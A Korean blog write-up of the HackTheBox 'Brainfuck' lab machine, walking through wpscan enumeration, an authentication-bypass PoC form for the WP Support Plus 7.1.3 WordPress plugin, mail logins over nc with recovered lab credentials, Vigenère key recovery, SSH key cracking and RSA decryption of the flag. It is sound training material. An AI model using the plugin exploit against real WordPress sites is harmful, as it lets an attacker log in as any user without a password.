본문 바로가기
워게임/hackthebox

brainfuck 롸업 정리(wpscan, pop3 포함)

by meanjung 2021. 9. 7.

https://github.com/rkhal101/Hack-the-Box-OSCP-Preparation/blob/master/linux-boxes/brainfuck-writeup-w-o-metasploit.md

 

GitHub - rkhal101/Hack-the-Box-OSCP-Preparation: Hack-the-Box-OSCP-Preparation

Hack-the-Box-OSCP-Preparation. Contribute to rkhal101/Hack-the-Box-OSCP-Preparation development by creating an account on GitHub.

github.com


nmap

흠 smtp, pop3... 메일 뭐 하나보군

주목해야 할 부분(롸업 피셜)

  1. 해당 SSH 버전은 중요한 취약점이 없어서 22번 포트는 우리 고려 대상이 아니다.
    ☞ 직접 해보고 깨닫는 게 좋을 듯
  2. 443번 포트는 https를 돌리고 있다. index 페이지(https://10.10.10.17)는 Welcome to nginx!를 띄운다. 이것은 IP주소가 특정 사이트를 제공하기 위해 매핑해야 하는 호스트 이름을 모르기 때문에, 그 대신 nginx가 제공하는 기본 페이지를 띄우는 것일 수 있다. 이 문제를 해결하기 위해서는 먼저 이 IP 주소로 확인되는 호스트 이름 목록을 파악하고 그 다음 이 호스트 이름을 /etc/hosts 파일에 추가해야 한다. nmap 스캔으로부터 우리는 2가지 hostname을 알 수 있다. brainfuck.htb, sup3rs3cr3t.brainfuck.htb.
  3. 25, 110, 143번 포트는 모두 메일 관련이다. 위의 것부터 해보고 시도해보자.

[***] /etc/hosts 파일

브라우저에 도메인 네임을 치면 네임 서버를 거쳐 도메인 이름IP주소로 변환된다.

요즘은 네임 서버에 접근 불가능한 경우가 거의 없다.

하지만 (1) 호스트 컴퓨터가 네임 서버에 접근할 수 없는 상황이 있다면 혹은 (2) 네임 서버에 등록되지 않은 도메인 네임이 있다면 /etc/hosts 파일을 사용한다.(linux)

이 문제의 경우는 (2) 경우겠지??


wpscan

https://brainfuck.htb 접속

접속하면 바로 wordpress로 만들어졌다는 것을 알 수 있음. (써져 있음)

 

wordpress scan 모듈인 wpscan을 사용해서 자세히 파악한다.

wpscan --url https://brainfuck.htb/ --disable-tls-checks -e ap at vp cb

 

주목해서 봐야 할 부분(사용한 플러그인 정보)

해당 플러그인의 취약점 바로 searchsploit ㄱㄱ

wpscan 결과에서 version이 7.1.3이라 했으니까 밑에서 두 번째, 세 번째에 집중한다.


WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - Privilege Escalation

(41006.txt)

설명: wp_set_auth_cookie()의 비정상적인 사용때문에 비밀번호를 모르더라도 누구로든 로그인할 수 있다.


 41006.txt 중 html 코드

<form method="post" action="http://wp/wp-admin/admin-ajax.php">
        Username: <input type="text" name="username" value="administrator">
        <input type="hidden" name="email" value="sth">
        <input type="hidden" name="action" value="loginGuestFacebook">
        <input type="submit" value="Login">
</form>

 

username이 필요한 것을 알 수 있다. 

 

 

username 구하기

wpscan --url https://brainfuck.htb --disable-tls-checks --enumerate u

 

poc.html

<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
        Username: <input type="text" name="username" value="administrator">
        <input type="hidden" name="email" value="sth">
        <input type="hidden" name="action" value="loginGuestFacebook">
        <input type="submit" value="Login">
</form>

 

poc.html 열기

python3 -m http.server 1234

http://localhost:1234 접속해서 poc.html 클릭

admin 넣고 Login 클릭

 

브라우저 탭 하나 열고 https://brainfuck.htb 접속하면 

 

 

wordpress smtp email, password 확인 가능

orestis / kHGuERB29DNiNE

SMTP password라고 나왔으니까 SMTP 접속을 해야겠죠?

 

메일 로그인(1) - sudo apt install evolution

- 메일 클라이언트

- orestis의 이메일로 로그인하기 위해서 사용

 

롸업에 나온대로 했지만.. not working.....흐긓흑...

 

메일 로그인(2) - nc 10.10.10.17 110

- pop3

USER orestis

PASS kHGuERB29DNiNE

LIST

RETR 1 # 1번 메세지를 보여줌

https://brainfuck.htb 사이트가 제대로 만들어졌음을 알린다. 로그인은 admin/ install할 때 설정한 비밀번호로 한다. 로그인은 https://brainfuck.htp/wp-login.php에서 한다.

RETR 2 # 2번 메시지를 보여줌

username/ password 새로운 한 쌍이 도착했다..

 

메일 로그인(3) - nc 10.10.10.17 143

- imap

a LOGIN orestis kHGuERB29DNiNE

a LIST "" "*"

a SELECT INBOX

.... 더 이상 명령어를 찾지 못했다....

https://busylog.net/telnet-imap-commands-note/

 

Telnet IMAP Commands Note - busylog.net

Notes about IMAP commands to use manually (telnet/openssl). The notes report examples of IMAP transaction for some common uses.

busylog.net


메일을 읽어보고, 처음엔 (삽질) https://brainfuck.htb에 admin/kIEnnfEKJ#9UmdO으로 로그인했는데 실패했다.

 

근데 우리가 처음에 /etc/hosts에 등록한 도메인 네임이 brainfuck.htb말고 하나 더 있다. 거기로 접속ㄱㄱ

 

 

https://sup3rs3cr3t.brainfuck.htb/ 

접속 후 로그인한 상태

 

Key 클릭

뭔가 암호화된 느낌

 

 

SSH Access 클릭

orestis의 말 끝마다 같은 말이 붙은 것을 볼 수 있다.

이를 해독하야 한다.

 

비즈네르 암호문

https://koromoon.blogspot.com/2018/02/vigenere-cipher.html

key 구하기 알고리즘

originText = "OrestisHackingforfunandprofit"
cipherText = "PieagnmJkoijegnbwzwxmlegrwsnn"

key = ""

for i in range(len(originText)):
    k = (ord(cipherText[i])-ord(originText[i]))%26
    key += chr(k+ord("a"))
    
print(key)

key = "brainfuckmybrainfuckmybrainfu"

이렇게 나오는데 암호문 앞의 부분(띄어쓰기 빼고)의 길이 재서 11(brainfuckmy의 길이)로 나눠보면 fuckmybrain이 반복된다는 것을 알 수 있다.

따라서, key="fuckmybrain"

 

https://www.dcode.fr/vigenere-cipher 여기서 자동으로 복호화해 볼 수 있다.

쓰읍


https://10.10.10.17/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa 여기 접근하면 id_rsa 파일이 다운받아진다.

cat id_rsa 하면 암호화되어있는 것을 볼 수 있다.

 

john the ripper

브루트 포스 공격으로 암호화된 id_rsa 파일에 걸린 비밀번호 알아내기

비밀번호 : 3poulakia!

id_rsa를 어디에 쓸 수 있는가?

https://hongd99.tistory.com/145?category=992108 참고
ssh 통신에 사용한다.

 

ssh -i id_rsa orestis@10.10.10.17


RSA 암호 알고리즘

RSA 암호 알고리즘이란? https://hongd99.tistory.com/150

cat encrypt.sage하면 rsa 알고리즘을 볼 수 있다.

root.txt를 암호화한 것이 output.txt이다.

# sage 문법에서 pow는
pow(a, b, n) = a^b mod n

그리고 debug.txt를 보면 p, q, e의 값을 확인할 수 있다.

 

그럼, 우리는 c(암호문 output.txt), p, q, n(p*q), e(개인키)를 알고있는 상태이다.

c = pow(m,e,n)임을 이용해 m(평문 root.txt)을 알아내자.

 

Google Search "decrypt rsa p q e github"

import binascii, base64

p = 7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
q = 7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
e = 30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
ct = 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182

def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
        gcd = b
    return gcd, x, y

n = p*q #product of primes
phi = (p-1)*(q-1) #modular multiplicative inverse
gcd, a, b = egcd(e, phi) #calling extended euclidean algorithm
d = a #a is decryption key

out = hex(d)
print("d_hex: " + str(out));
print("n_dec: " + str(d));

pt = pow(ct, d, n)
print("pt_dec: " + str(pt))

out = hex(pt)
print('out: ', out)
out = str(out[2:])
print("==============================================")
print("flag")
bout = bytes(out, encoding="utf-8")
flag = binascii.unhexlify(bout)
print(flag)

맨 밑 부분 조금 수정했다. python3에서는 안되는 문법이 포함된 듯 하다.

root.txt 확인 가능

 

'워게임 > hackthebox' 카테고리의 다른 글

nibbles 롸업 정리  (0) 2021.09.09
RSA 알고리즘  (0) 2021.09.09
shocker 롸업 정리  (0) 2021.09.05
[**어렵] beep - 롸업 정리  (0) 2021.09.03
sense - 롸업 정리  (0) 2021.09.03

댓글